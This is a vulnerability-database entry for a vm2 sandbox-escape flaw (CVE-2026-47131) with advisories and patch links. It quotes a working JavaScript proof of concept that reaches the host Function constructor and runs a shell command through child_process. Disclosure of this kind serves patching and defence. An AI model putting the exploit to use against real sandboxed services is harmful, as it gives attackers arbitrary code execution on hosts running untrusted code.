CVE-2026-47131
criticalpriority · track · 0EPSS 0.008 · 55 %ileDEEUUSEPSS · scored 2026-10-27
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (4)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-1583vm2: Mehrere SchwachstellenDeutsch2026-05-18csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um beliebigen Programmcode auszuführen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren und vertrauliche Informationen offenzulegen.
- GHSA-v6mx-mf47-r5wgvm2 has a Sandbox Escape issue2026-05-29ghsa · osvUS
### Summary By combining `Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")`, `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. ### PoC ```js "use strict"; const { VM } = require("vm2"); const vm = new VM(); vm.run(` "use strict"; const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" }); } } f(); `); ``` ### Impact Sandbox Escape → RCE
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (9)
External citations — patches, advisories, analysis.
- https://github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8cnnvd
- https://github.com/patriksimek/vm2/releases/tag/v3.11.4cnnvd
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wgcnnvd
- https://github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8enisa_euvd
- https://github.com/patriksimek/vm2/releases/tag/v3.11.4enisa_euvd
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wgenisa_euvd
- https://github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8nvd
- https://github.com/patriksimek/vm2/releases/tag/v3.11.4nvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan